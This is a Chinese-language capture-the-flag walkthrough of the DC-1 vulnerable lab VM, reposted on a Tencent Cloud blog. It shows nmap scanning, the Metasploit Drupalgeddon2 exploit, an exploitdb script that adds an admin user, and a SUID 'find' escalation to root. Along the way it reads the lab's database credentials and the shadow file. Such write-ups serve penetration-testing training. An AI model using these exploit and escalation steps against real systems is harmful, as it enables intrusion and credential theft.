前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布

DC-1

作者头像
黑白天安全
发布2020-04-14 16:24:59
8040
发布2020-04-14 16:24:59
举报

描述 DC-1是基于Debian 32位构建的VirtualBox VM。

DC-1是一个专门构建的易受攻击的实验室,目的是获得渗透测试领域的经验。 它的设计初学者是一个挑战,但是它的难易程度取决于您的技能和知识以及学习能力。 总共有5个flag,最终目标是在root的主目录中找到并读取第5个flag。

DC-1靶机下载地址

你可以把它运行在VirtualBox VM和VMware中。

环境

VMware:DC-1 IP:192.168.236.136
攻击机:kali linux IP:192.168.236.133

001 人狠话不多,上来就是nmap。

nmap -A 192.168.236.136

看看扫描结果

开放了22的ssh 80的http apache 111的 rpcbind等等。 重点看看到在80端口上运行着Drupal 7和一些敏感的目录文件等等。

80/tcp  open  http    Apache httpd 2.2.22 ((Debian))
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache/2.2.22 (Debian)
|_http-title: Welcome to Drupal Site | Drupal Site

来访问一下80吧。

简简单单的,看了下登录没有注入。先不爆破吧。其它页面也没什么漏洞。 敏感的目录文件也没什么可以利用的。

在msf中看看有没有Drupal 7的exp吧。

真好看 我们来直接 msf5 > search Drupal

我们就拿exploit/unix/webapp/drupal_drupalgeddon2

msf5 > use exploit/unix/webapp/drupal_drupalgeddon2
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > show options

Module options (exploit/unix/webapp/drupal_drupalgeddon2):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   DUMP_OUTPUT  false            no        Dump payload command output
   PHP_FUNC     passthru         yes       PHP function to execute
   Proxies                       no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                        yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT        80               yes       The target port (TCP)
   SSL          false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI    /                yes       Path to Drupal install
   VHOST                         no        HTTP server virtual host


Exploit target:

   Id  Name
   --  ----
   0   Automatic (PHP In-Memory)


msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set rhosts 192.168.236.136
rhosts => 192.168.236.136
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > run

来看看权限吧 getuid

权限不高,看来提权是有的。输入shell,成功拿到一个shell。

使用ls看看目录吧,拿到flag1.txt

看看flag,应该有提示。

它说

Every good CMS needs a config file - and so do you.
每一个好的CMS都需要一个配置文件-你也是。

好的,我们去看看它的配置文件。文件在sites/default/setting.php

使用cat setting.php命令打开,看到有数据库信息和flag2.

flag2中提示说:

看来是提示我们使用那个数据库信息去进入数据库中拿后台的账号密码什么的了。

使用 mysql -udbuser -p 输入密码 R0ck3t登录mysql发现终端不能正常回显信息,应该是cmd.exe被限制了。

我们用 CTRL + C 回到Meterpreter中吧,再次进入shell中,使用python -v 看到是有Python的。

发现系统自带Python 2.7.3,通过pty.spawn()获得交互式shell吧

使用 mysql -udbuser -p 输入密码 R0ck3t登录mysql

mysql>use drupaldb;                #使用drupaldb数据库
mysql>show tables;                 #查看数据库内的表

可以看到一个user的表

select语句查询,找到可用于登录的用户admin和密码密文。select * from users;

破解不了,难受。我们去exploitdb中看看有没有攻击admin的脚本吧。searchsploit drupal

运气不错,在exploitdb中有一个针对Drupal 7版本的攻击脚本,可以增加一个admin权限的用户。

python exploits/php/webapps/34992.py -t 192.168.236.136 -u admin1 -p admin1 利用一下

使用admin1 admin1 登录后台 在Content中拿到flag3

根据flag3的信息我们知道

应该要查看shadow文件,并使用SUID命令提权。

SUID是Linux的一种权限机制,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。如果拥有SUID权限,那么就可以利用系统中的二进制文件和工具来进行root提权。

以下命令可以发现系统上运行的所有SUID可执行文件。具体来说,命令将尝试查找具有root权限的SUID的文件。

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

我们回到shell中使用find / -user root -perm -4000 -print 2>/dev/null,命令查找具有root权限的SUID的文件。

$ find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
/bin/mount
/bin/ping
/bin/su
/bin/ping6
/bin/umount
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/procmail
/usr/bin/find
/usr/sbin/exim4
/usr/lib/pt_chown
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/sbin/mount.nfs

我们随便找一个命令进行利用,我们就找find,先查看其信息,发现其确实是root用户权限的SUID的文件

find . -exec /bin/sh ; -quit

拿到了root权限,查看shadow文件

发现flag4,并且flag4是一个用户,flag4用户密码可以使用ssh登录进行爆破,还是那句话先不爆破吧。

想了一下,我都是root了,我他妈直接查找不可以吗??我真聪明!!

find -name “flag4.txt” 命令拿到flag4.

这个作者有的皮。。

使用find配合正则进行一个模糊搜索吧。

find * -name "*.txt" 搜索所有.txt的文件。不要问我为什么!!!反正搜索flag5不行。

成功拿到flag5,看到thfinalflag.txt知道为什么反正搜索flag5不行了吧。

其实作者说了在root文件中了的

哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈

DC-2见

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-04-10,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 黑白天实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
云数据库 SQL Server
腾讯云数据库 SQL Server (TencentDB for SQL Server)是业界最常用的商用数据库之一,对基于 Windows 架构的应用程序具有完美的支持。TencentDB for SQL Server 拥有微软正版授权,可持续为用户提供最新的功能,避免未授权使用软件的风险。具有即开即用、稳定可靠、安全运行、弹性扩缩等特点。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档